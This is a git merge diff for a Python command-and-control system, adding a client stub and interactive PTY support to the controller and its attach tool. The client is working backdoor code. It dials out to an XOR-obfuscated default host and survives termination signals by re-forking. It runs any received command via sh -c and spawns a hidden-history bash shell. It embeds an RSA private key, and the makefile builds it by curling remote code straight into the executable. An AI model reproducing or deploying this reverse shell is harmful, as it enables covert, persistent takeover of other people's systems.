Merge branch 'pty' into master

5 files changed, 402 insertions, 59 deletions

diff --git a/.gitignore b/.gitignore
index 68ef359..e99816c 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,10 @@
+*ptyc.py
+*ptys.py
 pkd.py
 pkcli.py
 pkdnull.py
 pkdkey.json
+warcrypto.py
 *.pid
 *.sock
 *.log
diff --git a/makefile b/makefile
index 2929c10..2fb9017 100644
--- a/makefile
+++ b/makefile
@@ -1,7 +1,8 @@
 all:
 	(echo "#!"`which python3` && curl -s https://war.cflems.net/warcrypto.py && cat pkd_stub.py) >pkd.py
+	(echo "#!"`which python3` && curl -s https://war.cflems.net/warcrypto.py && cat pkcli_stub.py) >pkcli.py
 clean:
-	rm -f pkd.py *.pid *.sock *.log
+	rm -f pkd.py pkcli.py *.pid *.sock *.log
 install:
 	useradd -rUs /usr/sbin/nologin pkd || true
 	mkdir -p /run/pk /etc/pk
diff --git a/pkcli_stub.py b/pkcli_stub.py
new file mode 100644
index 0000000..98d263f
--- /dev/null
+++ b/pkcli_stub.py
@@ -0,0 +1,209 @@
+import os, sys, socket, time, signal, subprocess, selectors, pty, requests
+
+server_modulus = 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117
+hostkeys_url = "https://war.cflems.net/hosts.json"
+hdb = {}
+
+args_used = 0
+def get_param(env_name, prompt, default):
+    global args_used
+
+    if env_name in os.environ and len(os.environ[env_name]) > 0:
+        return os.environ[env_name]
+    elif len(sys.argv) > args_used+1 and len(sys.argv[args_used+1]) > 0:
+        args_used += 1
+        return sys.argv[args_used]
+    else:
+        try:
+            inp = input(prompt).strip()
+            if len(inp) < 1:
+                return default
+            return inp
+        except:
+            return default
+
+def chm (eky):
+    return ''.join([chr(ord(qjv)^0x4c) for qjv in eky])
+
+def main():
+    port, bits = 2236, 4096
+    ha = get_param('HOST', 'host=', chm('?)\'b/* )!?b")8'))
+    tts = int(get_param('TTS', 'tts=', 60*30))
+    bits = int(get_param('BITS', 'bits=', 4096))
+
+    if ':' in ha:
+        ha, port = ha.split(':')
+        port = int(port)
+
+    print('working')
+#    p,q,n,e,d = keygen(bits=bits)
+#    privkey = { 'n': n, 'd': d }
+    privkey = {
+        'n': 674649662747625158965580115649178823272937828671923055234230118266931114418063863425902553767263142112542805798629142731671175353897804485874369880648083704894282886619537285020154984320953903442140692688705887858628043554629805552160716928322839690265157756094009091892991782686467078804688183898466651445834021412680038767167042108036687656414710122361011361917032792883563683007035058615411826538055235483613942740927955921096798359185412920854812805376322359915714231871871568424355947626388369950685381160530003214146725114192144988981658555628868369558202192054627854973191485227523237030576707646163814866120912990720235595971139226256104235293622034976084428012861996082688820722776078055805226922381766417607129202444978552096123079779915276070260212133669863304488559497181245115636814644889044344999249791772743710292169123830534114304441561708365458460310379661336014020642436193548760392290734206895092462336538024371456173590044273138897608100072601300892612489480942246533172892447101244128180845969174975384201677662487434267991209429226437671546280301876296929776386242804688267157569604022638425121011606496845224340844040952164598264796845276039678476313199137656762940091358393013259651079302939058075325266358059,
+        'd': 123190449884810569256162125882687992708046553789720359521919401640300359281641977106333458366004516863158212261656696996656986976213360792872096439594665878762681894260890835556040018575291138784077661006847175793890501506298043594346816294325944467604607212218700990321244986243022285610505569322870293389265540599135481085900910827576407848761994537960148053283811151447847881266234166142036305112850862917625281181327873544833687626293114369346621676944908214918463649736952974035037728691349766135158032200864588682174860909738581245451325326688903486252086693506229023917240375722382327197535918037164386110180025692542030519669869798513292176347067812774772055482976141030322108067300132951879539462308628409435585075827153210214489887848992420042946201502647706258955963330527121007200645631026325263435508851811642610336364629931427516575798083669051902023046582421072617988530143157607306849734347534916236748625014691873176302502503418187291487697071628848229831657193179685201638365913357263238485692002634666040940151268246333847325390266342288529675646062045549681463229686224509227099656446292062053127918284303699573724644298937367416786776616819815876327182145017335648056648340177994549748253054143476876114005129129,
+    }
+    refresh_hdb()
+    print('done')
+    shield()
+    polymorph()
+
+    while True:
+        if not work(ha, port, privkey, bits=bits):
+            return
+        polymorph()
+        time.sleep(tts)
+
+def shield():
+    for sig in [signal.SIGHUP, signal.SIGINT, signal.SIGABRT, signal.SIGQUIT, signal.SIGTERM]:
+        signal.signal(sig, sh)
+#    for fd in [sys.stdin, sys.stdout, sys.stderr]:
+#        os.close(fd.fileno())
+
+def sh(a, b):
+    polymorph()
+
+def polymorph():
+    if os.fork() != 0:
+        sys.exit(0)
+
+def handshake(sock, privkey, rpubkey, bits):
+    nbytes, headsz = bits//8, 2
+    sock.sendall(nbytes.to_bytes(headsz, 'big'))
+    rnbytes = int.from_bytes(sock.recv(headsz), 'big')
+    if rnbytes != nbytes:
+        return False
+
+    send_encrypted(sock, privkey['n'].to_bytes(nbytes, 'big'), rpubkey['e'], rpubkey['n'], bits=bits)
+    return True
+
+def refresh_hdb():
+    global hostkeys_url, hdb
+    try:
+        resp = requests.get(hostkeys_url)
+        resp.close()
+        if resp.status_code != 200:
+            return False
+        hdb = resp.json()
+        return True
+    except:
+        return False
+
+def get_hostkey(host):
+    global hdb, exp
+    if 'keys' not in hdb:
+        return False
+    hkdb = hdb['keys']
+    if host not in hkdb:
+        return False
+    hostent = hkdb[host]
+    if 'n' not in hostent:
+        del hkdb[host]
+        return False
+    try:
+        return {'n': int(hostent['n']),
+                'e': int(hostent['e']) if 'e' in hostent else exp}
+    except:
+        del hkdb[host]
+        return False
+
+def run_pty(sock, privkey, rpubkey, bits):
+    term = recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits)
+    sel = selectors.DefaultSelector()
+    pid, shfd = pty.fork()
+    if pid == 0:
+        os.environ['HISTFILE'] = ''
+        if type(term) == bytes:
+            term = str(term, 'utf-8')
+        os.environ['TERM'] = term
+        os.execle('/bin/bash', '/bin/bash', os.environ)
+
+    try:
+        sel.register(shfd, selectors.EVENT_READ, 0)
+        sel.register(sock, selectors.EVENT_READ, 1)
+        while True:
+            events = sel.select()
+            for event, mask in events:
+                if event.data == 0:
+                    try:
+                        data = os.read(shfd, 1024)
+                    except:
+                        data = False
+                    if not data:
+                        return True
+                    send_encrypted(sock, data, rpubkey['e'], rpubkey['n'], bits=bits)
+                else:
+                    try:
+                        data = recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits)
+                    except:
+                        data = False
+                    if not data:
+                        return False
+                    elif data == b'\xc0\xdenpty':
+                        return True
+                    os.write(shfd, data)
+    #except:
+    #    return
+    finally:
+        sel.close()
+        try:
+            os.close(shfd)
+        except:
+            pass
+
+def work(h_addr, port, privkey, bits):
+    global server_modulus, exp
+    try:
+        host = socket.gethostbyname(h_addr)
+    except:
+        host = h_addr
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+    try:
+        sock.connect((host, port))
+        hostkey = get_hostkey(host)
+        if hostkey:
+            rpubkey = hostkey
+        else:
+            rpubkey = {'n': server_modulus, 'e': exp}
+        if not handshake(sock, privkey, rpubkey, bits=bits):
+            return True
+
+        if 'PS1' not in os.environ:
+            os.environ['PS1'] = '$ '
+        send_encrypted(sock, os.environ['PS1'], rpubkey['e'], rpubkey['n'], bits=bits)
+        while True:
+            cmd = recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits)
+            if cmd == b'tunnel':
+                send_encrypted(sock, b'\xde\xad', rpubkey['e'], rpubkey['n'], bits=bits)
+                return True
+            elif cmd == b'die':
+                send_encrypted(sock, b'\xde\xad', rpubkey['e'], rpubkey['n'], bits=bits)
+                return False
+            elif cmd == b'refresh-hdb':
+                if refresh_hdb():
+                    response = '[pk] Host database refreshed.\n'
+                else:
+                    response = '[pk] Error: could not refresh host database.\n'
+            elif cmd == b'pty':
+                # TODO: use a one-time symmetric session key for pty communications
+                if not run_pty(sock, privkey, rpubkey, bits=bits):
+                    return True
+                send_encrypted(sock, b'\xc0\xdenpty', rpubkey['e'], rpubkey['n'], bits=bits)
+                continue
+            else:
+                try:
+                    proc = subprocess.Popen(['sh', '-c', cmd], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
+                    stdout, stderr = proc.communicate()
+                    response = stdout+stderr
+                    if type(response) == bytes:
+                        response = str(response, 'utf-8')
+                except Exception as e:
+                    response = '%s\n' % str(e)
+            send_encrypted(sock, '%s%s' % (response, os.environ['PS1']), rpubkey['e'], rpubkey['n'], bits=bits)
+    #except:
+    #    return True
+    finally:
+        sock.close()
+
+if __name__ == '__main__':
+    main()
diff --git a/pkctl.py b/pkctl.py
index 6fa6058..caf8a20 100644
--- a/pkctl.py
+++ b/pkctl.py
@@ -1,5 +1,5 @@
 #!/usr/bin/python3
-import os, sys, signal, socket, threading, time
+import os, sys, signal, socket, selectors, time, tty
 
 # basic config
 SOCKET_FILE = "/run/pk/pk.sock"
@@ -53,62 +53,86 @@ def start_cmd():
 def stop_cmd():
     return signald(signal.SIGTERM)
 
-def attach_reader(sock, state):
-    while state['attached']:
-        try:
-            data = sock.recv(1024)
-        except:
-            data = b'\xde\xad'
-        if data == b'\xde\xad':
-            state['attached'] = False
-            break
-        if len(data) > 0:
-            pnnl(str(data, 'utf-8'))
-    sock.close()
-
 def attach_cmd():
     if not isd_running():
         return False
 
     sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
-    state = {}
-    reader_thread = threading.Thread(target=attach_reader, args=(sock, state))
-
     try:
         sock.connect(SOCKET_FILE)
     except:
         sock.close()
         return False
-    state['attached'] = True
-    reader_thread.start()
-    while state['attached']:
-        try:
-            line = bytes(input().strip(), 'utf-8')
-        except EOFError:
-            print('detach')
-            line = b'detach'
-        if line == b'detach':
-            try:
-                sock.sendall(b'\xde\xad')
-            except:
-                pass
-            state['attached'] = False
-        elif line == b'clear':
-            os.system('clear')
-            line = b'\xc0\xdeprompt'
-        elif len(line) < 1:
-            line = b'\xc0\xdeprompt'
-        if not state['attached']:
-            break
-        try:
-            sock.sendall(line)
-        except:
-            state['attached'] = False
-            break
+    sel = selectors.DefaultSelector()
+    sel.register(sys.stdin.fileno(), selectors.EVENT_READ, 0)
+    sel.register(sock, selectors.EVENT_READ, 1)
+    attached = True
+    pty_mode = False
+    stdin_mode = None
 
-    state['attached'] = False
+    while attached:
+        events = sel.select()
+        for event, mask in events:
+            if event.data == 0:
+                try:
+                    data = os.read(sys.stdin.fileno(), 1024)
+                except Exception:
+                    data = False
+                if not data:
+                    attached = False
+                    break
+                elif pty_mode:
+                    try:
+                        sock.sendall(data)
+                        continue
+                    except:
+                        attached = False
+                        break
+                elif data.strip() == b'detach':
+                    try:
+                        sock.sendall(b'\xde\xad')
+                    except:
+                        pass
+                    attached = False
+                    break
+                elif data.strip() == b'clear':
+                    os.system('clear')
+                    data = b'\xc0\xdeprompt'
+                elif len(data.strip()) < 1:
+                    data = b'\xc0\xdeprompt'
+                try:
+                    sock.sendall(data)
+                except:
+                    attached = False
+                    break
+            else:
+                try:
+                    data = sock.recv(1024)
+                except Exception:
+                    data = False
+                if not data or data == b'\xde\xad':
+                    if pty_mode:
+                        tty.tcsetattr(sys.stdin.fileno(), tty.TCSAFLUSH, stdin_mode)
+                        pty_mode = False
+                        print('turned off pty mode due to remote detach')
+                    attached = False
+                    break
+                elif pty_mode and data[:6] == b'\xc0\xdenpty':
+                    tty.tcsetattr(sys.stdin.fileno(), tty.TCSAFLUSH, stdin_mode)
+                    pty_mode = False
+                    print('turned off pty mode due to npty command')
+                    if len(data) > 6:
+                        pnnl(str(data[6:], 'utf-8'))
+                elif not pty_mode and data == b'\xc0\xdepty':
+                    pty_mode = True
+                    stdin_mode = tty.tcgetattr(sys.stdin.fileno())
+                    tty.setraw(sys.stdin.fileno())
+                else:
+                    pnnl(str(data, 'utf-8'))
+    sel.close()
     sock.close()
-    reader_thread.join()
+    if pty_mode:
+        tty.tcsetattr(sys.stdin.fileno(), tty.TCSAFLUSH, stdin_mode)
     return True
 
 def main():
diff --git a/pkd_stub.py b/pkd_stub.py
index 550d9ad..db378a3 100644
--- a/pkd_stub.py
+++ b/pkd_stub.py
@@ -1,4 +1,4 @@
-import os, sys, socket, threading, signal, json
+import os, sys, socket, threading, signal, json, traceback
 from concurrent.futures import ThreadPoolExecutor
 
 # initial crypto config
@@ -37,6 +37,9 @@ def dispatch_command(sock, command, rpubkey):
     global bits
     send_encrypted(sock, command, rpubkey['e'], rpubkey['n'], bits=bits)
 
+def dispatch_ccmd(client, command):
+    dispatch_command(client['sock'], command, client['pubkey'])
+
 # brint takes a string
 def brint(*args, sep=' ', end='\n', prompt=True):
     s = '%s%s' % (sep.join(map(lambda s: betterstr(s), args)), end)
@@ -95,8 +98,10 @@ def blast_command(cmd, orig_screen, targets=set()):
     i = 0
     while alive and i < len(tcp_clients):
         try:
+            if tcp_clients[i]['pty']:
+                continue
             if wildcard or i in targets:
-                dispatch_command(tcp_clients[i]['sock'], cmd, tcp_clients[i]['pubkey'])
+                dispatch_ccmd(tcp_clients[i], cmd)
             if wildcard:
                 tcp_clients[i]['qidx'] += 1
         except:
@@ -115,12 +120,12 @@ def tcp_handshake(sock):
     sock.sendall(nbytes.to_bytes(headsz, 'big'))
 
     if rnbytes != nbytes:
+        brint('[ERROR] nbytes mismatch with client: %d vs %d' % (rnbytes, nbytes))
         return False
 
     rpubkey = { 'n': int.from_bytes(recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits),\
                 'big'), 'e': exp }
 
-    dispatch_command(sock, 'set -i', rpubkey)
     return rpubkey
 
 def tcp_disconnect(client):
@@ -144,10 +149,12 @@ def transport_tcp(client):
     global tcp_clients, tcpc_lock
     try:
         rpk = tcp_handshake(client['sock'])
-    except:
+    except Exception as e:
+        brint('[ERROR] %s' % repr(e))
         rpk = False
     if not rpk:
         brint('[INFO] Handshake failed; disconnecting client:', client['addr'])
+        client['alive'] = False
         tcp_disconnect(client)
         return
     client['pubkey'] = rpk
@@ -157,8 +164,8 @@ def transport_tcp(client):
         if not client['alive']:
             tcp_disconnect(client)
             return
-
-        if len(cmdq) > client['qidx']:
+        
+        if not client['pty'] and len(cmdq) > client['qidx']:
             cmdq_lock.acquire()
             if not alive:
                 cmdq_lock.release()
@@ -167,7 +174,7 @@ def transport_tcp(client):
                 cmdq_lock.release()
                 tcp_disconnect(client)
                 return
-            if len(cmdq) <= client['qidx']:
+            if client['pty'] or len(cmdq) <= client['qidx']:
                 cmdq_lock.release()
                 continue
 
@@ -175,22 +182,34 @@ def transport_tcp(client):
             client['qidx'] += 1
             cmdq_lock.release()
             try:
-                dispatch_command(client['sock'], cmd, client['pubkey'])
+                dispatch_ccmd(client, cmd)
             except:
+                client['alive'] = False
                 tcp_disconnect(client)
                 return
         else:
             try:
                 data = recv_encrypted(client['sock'], privkey['d'], privkey['n'], bits=bits)
             except:
-                data = b'\xde\xad'
+                data = False
             if not alive:
                 return
-            elif data == b'\xde\xad':
+            elif not data or data == b'\xde\xad':
+                client['alive'] = False
                 tcp_disconnect(client)
+                if client['pty']:
+                    unpty(client)
                 return
-            elif len(data) > 0:
+            elif not client['pty']:
                 bnnl(data, logging=False)
+            elif data == b'\xc0\xdenpty':
+                unpty(client)
+            else:
+                try:
+                    client['pty'].sendall(data)
+                except:
+                    unpty(client)
+                    print('Screen failed to receive PTY data:', data)
 
 def serve_tcp():
     global sockets, tcp_port
@@ -228,6 +247,7 @@ def serve_tcp():
             'addr': ca,
             'sock': cs,
             'qidx': 0,
+            'pty': False,
             'alive': True
         }
         tcpc_lock.acquire()
@@ -239,7 +259,6 @@ def serve_tcp():
         try:
             pool.submit(transport_tcp, tcpcli)
         except RuntimeError:
-            print('OUCH')
             return
 
 def detach_screen(screen):
@@ -280,6 +299,69 @@ def cliinfo(clients):
     except Exception as e:
         return repr(e)
 
+def unpty(client):
+    global alive, tcp_clients, tcpc_lock
+    tcpc_lock.acquire()
+    if not alive:
+        tcpc_lock.release()
+        return
+    client['pty'] = False
+    tcpc_lock.release()
+
+def run_pty(screen, cn):
+    global alive, tcp_clients, tcpc_lock, privkey, bits
+    tcpc_lock.acquire()
+    if not alive:
+        tcpc_lock.release()
+        return
+
+    if cn >= len(tcp_clients):
+        tcpc_lock.release()
+        return 'Client %d disconnected while attaching PTY.' % cn
+    client = tcp_clients[cn]
+    client['pty'] = screen
+    tcpc_lock.release()
+
+    try:
+        dispatch_ccmd(client, b'pty')
+        if 'TERM' not in os.environ:
+            os.environ['TERM'] = 'xterm-256color'
+        dispatch_ccmd(client, os.environ['TERM'])
+    except:
+        client['alive'] = False
+        return 'Client %d failed PTY handshake.' % cn
+
+    try:
+        screen.sendall(b'\xc0\xdepty')
+    except:
+        unpty(client)
+        return False
+
+
+    while True:
+        if not alive:
+            return
+        elif not client['alive']:
+            return 'PTY session terminated due to client disconnect.'
+        elif not client['pty']:
+            return 'PTY session ended normally.'
+        elif client['pty'] != screen:
+            return 'PTY session seized by another screen.'
+
+        try:
+            data = screen.recv(1024)
+            if not alive:
+                return False
+        except:
+            data = b'\xde\xad'
+        if not data or data == b'\xde\xad':
+            unpty(client)
+            return False
+        try:
+            dispatch_ccmd(client, data)
+        except:
+            client['alive'] = False
+
 def screen_reader(screen):
     global alive, screens, screens_lock, cmdq, cmdq_lock, tcp_clients, tcpc_lock
 
@@ -342,6 +424,28 @@ def screen_reader(screen):
                 resp = showcrypto()
             elif cmd == b'\xc0\xdeprompt':
                 pass
+            elif cmd == b'pty':
+                resp = '[pk] Must specify a client to connect to via PTY.'
+            elif cmd[:4] == b'pty ':
+                try:
+                    cn = int(cmd[4:])
+                except:
+                    cn = -1
+                if cn < 0 or cn >= len(tcp_clients):
+                    resp = '[pk] Cannot attach PTY to invalid TCP client.'
+                else:
+                    pty_out = run_pty(screen, cn)
+                    if not alive:
+                        return
+                    if not pty_out:
+                        detach_screen(screen)
+                        return
+                    try:
+                        screen.sendall(b'\xc0\xdenpty')
+                    except:
+                        detach_screen(screen)
+                        return
+                    resp = '[pk] %s' % pty_out
             elif len(cmd) > 0:
                 shcmd = True
                 targets = []
@@ -358,6 +462,8 @@ def screen_reader(screen):
                     else:
                         resp = '[pk] Can\'t target null command.'
                 blast_command(cmd, screen, targets=targets)
+            if not alive:
+                return
             try:
                 if len(resp) > 0:
                     screen.sendall(bytes('%s\n' % resp, 'utf-8'))
@@ -440,7 +546,7 @@ def cleanup(*args):
     tcpc_lock.acquire()
     for client in tcp_clients:
         try:
-            send_encrypted(client['sock'], b'tunnel', client['pubkey']['e'], client['pubkey']['n'], bits=bits)
+            dispatch_ccmd(client, b'tunnel')
         except:
             pass
         client['sock'].close()